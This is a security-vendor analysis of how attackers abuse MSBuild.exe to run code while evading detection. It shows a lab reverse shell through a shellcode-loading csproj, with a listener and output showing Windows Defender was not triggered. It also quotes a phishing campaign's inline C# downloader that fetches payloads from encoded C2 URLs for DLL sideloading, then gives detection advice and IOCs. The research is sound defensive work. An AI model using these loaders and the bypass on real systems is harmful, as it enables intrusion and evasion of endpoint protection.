

LOLBins - Analyzing attack techniques with MSBuild

A asec.ahnlab.com/en/93290

ATCP

April 9, 2026

```
12 <Target Name="Build">
13 | <Csc Sources="@ (Compile)" OutputAssembly="main.exe" />
14 </Target>
15
16 <Target Name="Run" DependsOnTargets="Build">
17 | <Exec Command="main.exe" />
18 </Target>
19 </Project>
20
```

overview

in recent years, cyber threat actors have consistently attempted to exploit living off the land binaries (LOLBins) built into systems to bypass detection by security products. such attack methods effectively evade traditional signature-based detection by not distributing a separate malicious file, but instead relying on tools trusted by the operating system.

among them, MSBuild.exe is a Microsoft-signed Windows native development tool that can build and execute C# code through XML-based project files. threat actors exploit such characteristics to execute arbitrary code without explicitly leaving malware on disk, and covertly perform additional actions in the post-infiltration phase.

in this article, we will introduce how the attack technique utilizing MSBuild works, look at actual attack cases, and suggest countermeasures.

why do threat actors prefer MSBuild?

MSBuild is a legitimate tool to support development environments, but from a threat actor's point of view, it is highly suitable for LOLBins attacks for the following reasons.

first, it allows C# code to be injected and executed inline inside a project file. this allows threat actors to perform malicious behavior without the need for a separate compiled malicious executable file, which allows for flexible payload configuration and enables fileless attacks.

second, it is highly extensible. it has all the core functions needed for attacks, including file loading, network communication, and binary building and execution, so it can be exploited for a variety of purposes.

third, MSBuild is a legitimate binary with Microsoft's digital signature. Because MSBuild.exe is recognized as a trusted system component, it is difficult to determine whether it is exploitable based on simple execution, which means it can bypass code signing verification.

Attack techniques to bypass detection using MSBuild

in January 2025, Michał Walkowski's blog introduced a technique for bypassing Windows 11 Defender detection using MSBuild. we wanted to verify that this technique works in real-world environments and that it is indeed possible to bypass the security solution's detection.

To exploit MSBuild.exe, which is included by default in Windows, only two things are needed: a project file and a C# source file. to these, it is possible to add obfuscated payloads or shellcode to further sophisticate the attack, depending on the threat actor's intentions.

the main.csproj prepared by the attacker includes settings to compile and execute main.cs as main.exe, which is configured to load and execute shellcode that connects the threat actor's PC with a TCP reverse shell.

```
12  <Target Name="Build">
13  |  <Csc Sources="@ (Compile)" OutputAssembly="main.exe" />
14  </Target>
15
16  <Target Name="Run" DependsOnTargets="Build">
17  |  <Exec Command="main.exe" />
18  </Target>
19  </Project>
20
```

figure 1. main.csproj

```
35  string filePath = "https_payload.bin";
36
37  byte[] shellcode = LoadShellcode(filePath);
38  if (shellcode == null)
39  {
40      Console.WriteLine("Failed to load shellcode.");
41      return;
42  }
43
44  IntPtr baseAddress = IntPtr.Zero;
45  ulong regionSize = (ulong)shellcode.Length;
46  IntPtr processHandle = (IntPtr)(-1);
47
```

figure 2. main.cs

when MSBuild is run with the project file main.csproj as an argument, the reverse shell is connected to the threat actor's server.

```
C:\Windows\System32\cmd.e x + v
C:\Users\ \Desktop\asdf>"C:\Windows\Microsoft.NET\assembly\GAC_64\MSBuild\v4.0.4.0.0__b03f5f7f11d50a3a\MSBuild.exe" main.csproj /t:Run
Microsoft (R) Build Engine version 4.8.9221.0
[Microsoft .NET Framework, version 4.0.30319.42000]
Copyright (C) Microsoft Corporation. All rights reserved.

Build started 3/17/2026 1:21:26 AM.
Project "C:\Users\ \Desktop\asdf\main.csproj" on node 1 (Run target(s)).
Project file contains ToolsVersion="15.0". This toolset may be unknown or missing, in which case you may be able to resolve this by installing the appropriate version of MSBuild, or the build may have been forced to a particular ToolsVersion for policy reasons. Treating the project as if it had ToolsVersion="4.0". For more information, please see http://go.microsoft.com/fwlink/?LinkId=291333.
Build:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Csc.exe /out:main.exe main.cs
Run:
main.exe
[+] Connecting to tcp://10.0.128.13:5656
[!] Getting base stream
[!] Creating stream reader from base stream
[+] Executing 'systeminfo.exe'
```

figure 3. Victim System

```
(kali@kali)-[~]
$ nc -lvp 5656
listening on [any] 5656 ...
10.0.128.29: inverse host lookup failed: Unknown host
connect to [10.0.128.13] from (UNKNOWN) [10.0.128.29] 55278
admin@OV $ systeminfo.exe

Host Name: OV
OS Name: Microsoft Windows 11 Pro
OS Version: 10.0.26200 N/A Build 26200
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
```

figure 4. Threat Actor System

of particular note is that the reverse shell connection using MSBuild.exe did not result in any blocking or alerts, even though Windows 11 Defender real-time surveillance was enabled on the victim's PC. in such a way, threat actors can bypass detection by Windows Defender or any endpoint security product and still perform malicious behavior such as reverse shell connections.

real-world attack case: MSBuild downloader and DLL sideloading

in February 2026, an attack campaign utilizing MSBuild.exe was disclosed on the Lab52 blog. unlike the direct build-and-run approach we discussed earlier, in this case MSBuild.exe acted as a downloader to fetch a malicious payload from an external C2 server. the attack is launched through a phishing email. the threat actor delivered a compressed file disguised as a meeting invitation or work-related document as a mail attachment, which contained both an executable file with a legitimate signature and a project file inside. Notably, the executable file renamed MSBuild.exe with a Microsoft signature to look like a document file to minimize user suspicion.

Name	Date modified	Type	Size
 Invitation_Letter_No.02_2026.csproj	2/6/2026 12:12 PM	CSPROJ File	4 KB
 Invitation_Letter_No.02_2026	2/4/2026 12:53 PM	Application	250 KB

figure 5. Attachments inside a phishing email

if the user clicks on the executable file without any caution, the attack immediately proceeds to the next stage. Due to MSBuild’s default behavior, the project file (.csproj), which exists in the same path as the executable, is automatically detected and loaded without any command line arguments. this happens naturally and without the user noticing, and as a result, the project file intended by the threat actor is executed by MSBuild. the project file in question contains an inline C# script. the script is responsible for communicating with the external threat actor’s server to download additional files. the downloaded files are stored in paths that are not frequently accessed by the user, such as temporary folders, and the file names use random strings to make manual analysis more difficult.

```

        // Base64 encoded URLs with new endpoints
        string b64_1 =
"aHR0cHM6Ly9vbmVkb3duLmdlc2Vjb2x1Lm5ldC9kb3dubG9hZC9hMzY5M2tmYTgzNg==";
        string b64_2 =
"aHR0cHM6Ly9vbmVkb3duLmdlc2Vjb2x1Lm5ldC9kb3dubG9hZC9hMzY5NmtmYTgzNg==";
        string b64_3 =
"aHR0cHM6Ly9vbmVkb3duLmdlc2Vjb2x1Lm5ldC9kb3dubG9hZC9hMzY5OWtmYTgzNg==";

        string[] urls = {
            DecodeBase64(b64_1),
            DecodeBase64(b64_2),
            DecodeBase64(b64_3)
        };

        string tmp = Path.GetTempPath();
        Random r = new Random();

        string[] targets = {
            Path.Combine(tmp, GetRandomString(r, 6) + ".exe"),
            Path.Combine(tmp, "Avk.dll"),
            Path.Combine(tmp, "AVKTray.dat")
        };

        // Security protocol - TLS 1.2
        ServicePointManager.SecurityProtocol = (SecurityProtocolType)0xC00;

        for (int i = 0; i < 3; i++)
        {
            FetchResource(urls[i], targets[i]);
        }

        if (File.Exists(targets[0]))
        {
            ExecuteFile(targets[0]);
        }

```

Code 1. C# inline script

after the download is complete, MSBuild automatically executes the first of the executables. this executable file is also disguised as a program with a legitimate signature, so it is difficult to determine that it is malicious by itself. However, the threat actor exploits the fact that this legitimate executable file loads a DLL located in the same directory during its execution. the malicious DLL downloaded along with it is loaded into memory at this point, which is how the threat actor finally succeeds in executing the malware.

in the overall attack flow, the combination of MSBuild.exe, a legitimate signed executable file, and the user's direct execution behavior makes it look like normal behavior to both security solutions and users. as a result, the threat actor gains a relatively free foothold for further payload execution or subsequent penetration.

this case illustrates how legitimate development tools like MSBuild can be used as effective

LOLBins tools for threat actors. it highlights the difficulty of identifying attacks by simply asking “is it a legitimate file?” and that detection is extremely difficult without a comprehensive analysis of inter-process relationships, execution context, and file creation and load flows.

mitigating the attack

Because MSBuild-based attacks are difficult to detect with a single IoC, a multi-layered detection strategy centered on behavior and context is required.

first, process behavior-based monitoring is critical. MSBuild.exe running in non-development environments, such as Outlook, web browsers, and download paths, or MSBuild.exe creating subprocesses such as PowerShell-cmd.exe, should be categorized as suspicious.

you also need to gain visibility into project file execution behavior. it is very rare for .csproj or .xml files to be executed in a normal user environment, and they are highly correlated with attack scenarios, especially if they are executed immediately after decompressing or in the %TEMP% path.

on the network side, MSBuild.exe’s behavior should be analyzed for external communication, downloading multiple files within a short period of time, and generating random number-based file names. in addition, DLL sideloading patterns, where a legitimate signed executable loads a malicious DLL file, are also a key detection point.

conclusion

MSBuild is a trusted and legitimate binary in the Windows environment, but it can be exploited by threat actors as a powerful LOLBins tool. features such as inline script execution, automatic project loading, and DLL sideloading greatly increase a threat actor’s stealth.

therefore, it’s important to move away from the “normal processes are safe” mentality and instead enhance behavior-based detection strategies, including inter-process relationships, execution context, and network behavior. LOLBins attacks, including MSBuild, are likely to continue to evolve in various forms, requiring proactive security and policy controls through continuous threat hunting.

MD5

769687f93869a70511aac1ef7c752455

7a75e713db41c28378e823322fdea0fd

Additional IOCs are available on AhnLab TIP.

URL

[https://onedown\[.\]geseCole\[.\]net/download/a3693kfa836](https://onedown[.]geseCole[.]net/download/a3693kfa836)

[https://onedown\[.\]geseCole\[.\]net/download/a3696kfa836](https://onedown[.]geseCole[.]net/download/a3696kfa836)

[https://onedown\[.\]geseCole\[.\]net/download/a3699kfa836](https://onedown[.]geseCole[.]net/download/a3699kfa836)

Additional IOCs are available on AhnLab TIP.

Gain access to related IOCs and detailed analysis by subscribing to **AhnLab TIP**. For subscription details, click the banner below.



AhnLab TIP

Stay Ahead of Rapidly Evolving Threats Make the Best-Informed Decisions

Get Started with AhnLab's State-of-the-Art Threat Intelligence

atip.ahnlab.com